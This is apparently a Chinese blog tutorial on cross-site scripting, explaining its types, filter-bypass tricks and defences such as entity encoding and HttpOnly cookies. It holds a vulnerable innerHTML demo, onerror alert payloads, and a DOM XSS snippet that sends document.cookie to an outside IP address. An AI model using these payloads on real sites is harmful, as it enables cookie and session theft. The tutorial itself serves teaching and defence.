前言

黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统。开放式 Web 应用程序安全项目(OWASP, Open Web Application Security Project) 在 2017 年公布了十大安全漏洞列表:

  • 注入
  • 失效的身份认证
  • 敏感信息泄漏
  • XML 外部实体(XXE)
  • 失效的访问控制
  • 安全配置错误
  • 跨站脚本(XSS)
  • 不安全的反序列化
  • 使用含有已知漏洞的组件
  • 不足的日志记录和监控

该列表总结了 Web 应用程序最可能、最常见、最危险的十大漏洞,可以帮助开发团队规范开发流程,提高 Web 产品的安全性。在 2007 年 OWASP top 10 中,XSS 高居所有 Web 威胁之首,在 2013 年 OWASP top 10 中,XSS 被列在第三位,在 2017 年 OWASP top 10 中,XSS 位于第七位,由此看出 XSS 在 Web 攻击手段里,有着不小的地位。

 

什么是 XSS ?

XSS (Cross Site Scripting),即跨站脚本攻击,是一种常见于 Web 应用中的计算机安全漏洞。恶意攻击者往 Web 页面里嵌入恶意的客户端脚本,当用户浏览此网页时,脚本就会在用户的浏览器上执行,进而达到攻击者的目的。比如获取用户的 Cookie、导航到恶意网站、携带木马等。借助安全圈里面非常有名的一句话:

所有的输入都是有害的。

这句话把 XSS 漏洞的本质体现的淋漓尽致。大部分的 XSS 漏洞都是由于没有处理好用户的输入,导致恶意脚本在浏览器中执行。任何输入提交数据的地方都有可能存在 XSS。 
XSS 脚本攻击案例: 
新浪微博遭受 XSS 攻击 
人人网遭受 XSS 攻击 
在这里使用一个简单的例子测试XSS:

 
  1. <!DOCTYPE html>
  2. <html lang="zh">
  3. <head>
  4. <meta charset="UTF-8">
  5. <title>测试是否存在xss漏洞</title>
  6. </head>
  7. <body>
  8. <span>输入评论:</span>
  9. <input type="text" value="" placeholder="请输入您的评论" id="comment">
  10. <input type="button" value="提交" id="submit">
  11. <p>
  12. <span>您的评论:</span>
  13. <span id="commentList"></span>
  14. </p>
  15. <script>
  16. document.getElementById("submit").addEventListener("click",function(){
  17. let comment = document.getElementById("comment").value
  18. document.getElementById("commentList").innerHTML = comment
  19. })
  20. </script>
  21. </body>
  22. </html>

注意:使用innerHtml插入代码,只是当作普通的html执行,js解析器不会执行js脚本。

 

XSS 攻击分类

 

反射型

用户在页面输入框中输入数据,通过 get 或者 post 方法向服务器端传递数据,输入的数据一般是放在 URL 的 query string 中,或者是 form 表单中,如果服务端没有对这些数据进行过滤、验证或者编码,直接将用户输入的数据呈现出来,就可能会造成反射型 XSS。反射型 XSS 是非常普遍的,其危害程度通常较小,但是某些反射型 XSS 还是会造成严重后果的。 
黑客通常通过构造一个包含 XSS 代码的 URL,诱导用户点击链接,触发 XSS 代码,达到劫持访问、获取 cookies 的目的。

 
  1. <!DOCTYPE html>
  2. <html lang="zh">
  3. <head>
  4. <meta charset="UTF-8">
  5. <title>xss漏洞广告页面</title>
  6. <style>
  7. a {
  8. text-decoration: none;
  9. font-size: 2rem;
  10. }
  11. img {
  12. width: 8rem;
  13. height: 8rem;
  14. }
  15. </style>
  16. </head>
  17. <body>
  18. <a href="attack.html?content=<img src='aaa.png' onerror='alert(1)'/>">
  19. <img src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1520930605289&di=04f8835509d8c3c3fac4db7636247431&imgtype=0&src=http%3A%2F%2Fpic.58pic.com%2F58pic%2F13%2F14%2F16%2F37J58PICWTD_1024.jpg">
  20. </a>
  21. <a href="attack.html?content=<img src='aaa.png' onerror='while(true)alert(/关不掉/)'/>">敏感词汇</a>
  22. <script>
  23. </script>
  24. </body>
  25. </html>
 

持久型

通常是因为服务器端将用户输入的恶意脚本没有经过验证就存储在数据库中,并且通过调用数据库的方式,将数据呈现在浏览器上,当页面被用户打开的时候执行,每当用户打开浏览器,恶意脚本就会执行。持久型的 XSS 攻击相比非持久型的危害性更大,因为每当用户打开页面,恶意脚本都会执行。 
例如一个评论功能,在提交评论的表单里面:

 
  1. <input type="text" name="content" value="评论内容" >

正常情况下,用户填入评论内容提交,服务端将评论内容保存到数据库,其他用户查看评论时,从后台提供的接口中取出数据展示。非正常情况下,恶意攻击者在 value 中填写恶意代码:

 
  1. <img src='' onerror='alert(/攻击脚本/)' />

后台保存到数据库中,其他用户查看评论的时候就会执行这些恶意攻击代码。

 

DOM 型( DOM Based XSS )

DOM 是一个树形结构,我们可以通过写 js 代码来修改节点,对象和值。DOM XSS 简单理解就是它的输出点在 DOM 。XSS 代码可能是插入简单的<script src="https://test.com/haker.js">,载入第三方的恶意脚本,这些恶意脚本,通常是读取用户的 cookie 。

 
  1. var hakerImg = document.createElement('img');
  2. hakerImg.width = 0;
  3. hakerImg.height = 0;
  4. hakerImg.src =
  5. 'http://110.114.119.120:5000/?hacker='+encodeURIComponent(document.cookie);
 

XSS 常见攻击方法

1、绕过 XSS-Filter,利用 <> 标签注入 Html/JavaScript 代码;

2、利用 HTML 标签的属性值进行 XSS 攻击。例如:<img src=“javascript:alert(‘xss’)”/>;(当然并不是所有的 Web 浏览器都支持 Javascript 伪协议,所以此类 XSS 攻击具有一定的局限性)

3、空格、回车和 Tab。如果 XSS Filter 仅仅将敏感的输入字符列入黑名单,比如 javascript,用户可以利用空格、回车和 Tab 键来绕过过滤,例如:<img src=“javas cript:alert(/xss/);”/>

4、利用事件来执行跨站脚本。例如:<img src=“#” onerror= “alert(1)”/>,当 src 错误的视乎就会执行 onerror 事件;

5、利用 CSS 跨站。例如:body {backgrund-image: url(“javascript:alert(‘xss’)”)}

6、扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>

7、利用字符编码,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode;( JS 支持 unicode、eacapes、十六进制、十进制等编码形式);

8、拆分跨站法,将 XSS 攻击的代码拆分开来,适用于应用程序没有过滤 XSS 关键字符(如<、>)却对输入字符长度有限制的情况下;

9、DOM 型的 XSS 主要是由客户端的脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage

 

XSS 如何防御?

从上面的介绍可知,XSS 漏洞是由于对用户提交的数据没有经过严格的过滤处理造成的,所以防御的原则就是不相信用户输入的数据,对输入进行过滤,对输出进行编码。

1、使用 XSS Filter

针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:

  • 表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。

  • 过滤或移除特殊的 html 标签:<script><iframe>等。

  • 过滤 js 事件的标签:onclickonerroronfocus等。

2、html 实体

当需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码,在 html 中有些字符对于 HTML 来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。 html 实体的存在是导致 XSS 漏洞的主要愿意之一,因此我们需要将实体转化为相应的实体编号。

显示结果 描述 实体编号
  空格 &nbsp ;
< 小于 &lt ;
> 大于 &gt ;
& &amp ;
'' 引号 &quot ;

3、JavaScript编码

这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,除了上面的那些转义之外,还要附加上下面的转义: 
\ 转成 \\

/ 转成 \/

; 转成 (全角;)

注意:在对不可信数据做编码的时候,不能图方便使用反斜杠\ 对特殊字符进行简单转义,比如将双引号 转义成 \”,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母以外的所有字符,使用十六进制\xhh 的方式进行编码。

4、Http Only cookie

许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。

 

总结

很多地方都可能产生 XSS 漏洞,并且产生的方式不一样,所以对于这些漏洞,我们需要找到正确的方法来防御。XSS 漏洞在不断的发展,上面介绍的防御方法几乎能够解决大部分的 XSS 漏洞,即便这样,我们也不能掉以轻心,为了让 Web 应用更安全,我们还需要结合其他的方法来加强 XSS 防御。

随着科技的不断发展,Web 应用变得越来越复杂,随之而产生的漏洞(不仅限于 XSS ) 也越来越多。没有什么方法能够一次性解决所有安全问题,我们只能在实际的工作过程中,针对不同的安全漏洞进行针对性的防御。

 

参考资料

Cross-site Scripting (XSS) 
77个XSS注入汇总 
对于跨站脚本攻击(XSS攻击)的理解和总结

 

相关代码

案例

Web 安全之 XSS 攻击与防御的更多相关文章

  1. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  2. Web安全之CSRF攻击的防御措施

    Web安全之CSRF攻击的防御措施   CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...

  3. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  4. 安全学习笔记-web安全之XSS攻击

    web安全之XSS攻击 XSS 即跨站脚本攻击,是 OWASP TOP10 之一.它的全称为 Cross-site scripting,因为 CSS 这个简称已经被占用表示为前端三剑客之一的CSS,所 ...

  5. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  6. web渗透—xss攻击如何防御

    1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...

  7. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  8. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  9. WEB安全测试之XSS攻击

    目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...

随机推荐

  1. Windows Server 2008 R2 服务器系统安装及配置全过程图文详解

    前言 本文主要介绍了 windows Server 2008 R2 服务器系统的安装及相关配置. 介绍的是以优盘的方式安装. 写这篇博文的目的一来是为了供有需要的网友参考, 二来自己也在此做个记载. ...

  2. Tasklist使用详解

    用jstat查看jvm内存的使用的情况时,因为是windows机器,不能使用top命令方便的查出来,进程好在网上搜了一下看到了在windows原来使用的是tasklist 特意将tasklist的用法 ...

  3. spring cloud + spring boot + springmvc+mybatis分布式微服务云架构

    做一个微服务架构需要的技术整理: View: H5.Vue.js.Spring Tag.React.angularJs Spring Boot/Spring Cloud:Zuul.Ribbon.Fei ...

  4. volatile 与 JVM 指令重排序

    前言: 在做单例模式时 有博客在评论区 推荐使用 volatile 关键字 进行修饰 然后用了两天时间查资料看文档 发现涉及的面太广 虽然已经了解为什么要使用 volatile + synchroni ...

  5. 释放jQuery 的$ 的使用权

    1.释放操作必须在编写其他jquery 代码之前编写,释放之后就不能使用$,改为jQuery . jQuery.noConflict();   2.也可以自定义访问符号   var nb = jQue ...

  6. change事件同一文件多次选中

    最近在做图片上传的时候,碰到了一点问题,那就是选择内容相同,change事件执行不了 网上搜索了答案,使用off('change')好像也不行 最终找到一种解决办法 使用replaceWith重置in ...

  7. C# 连蒙带骗不知所以然的搞定USB下位机读写

    公司用了一台发卡机,usb接口,半双工,给了个dll,不支持线程操作,使得UI线程老卡. 懊恼了,想自己直接通过usb读写,各种百度,然后是无数的坑,最终搞定. 现将各种坑和我自己的某些猜想记录一下, ...

  8. 什么是IIS ?

    IIS是Internet Information Services的缩写,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务. 它包括WWW服务器.FTP服务器和SMTP服务 ...

  9. bottle.py中的路由解析代码

    # Routing def compile_route(route): """ Compiles a route string and returns a precomp ...

  10. 【温故知新】HTTP请求GET和POST的用法和区别

    转自http://www.w3school.com.cn GET的使用 请注意,查询字符串(名称/值对)是在 GET 请求的 URL 中发送的: /test/demo_form.asp?name1=v ...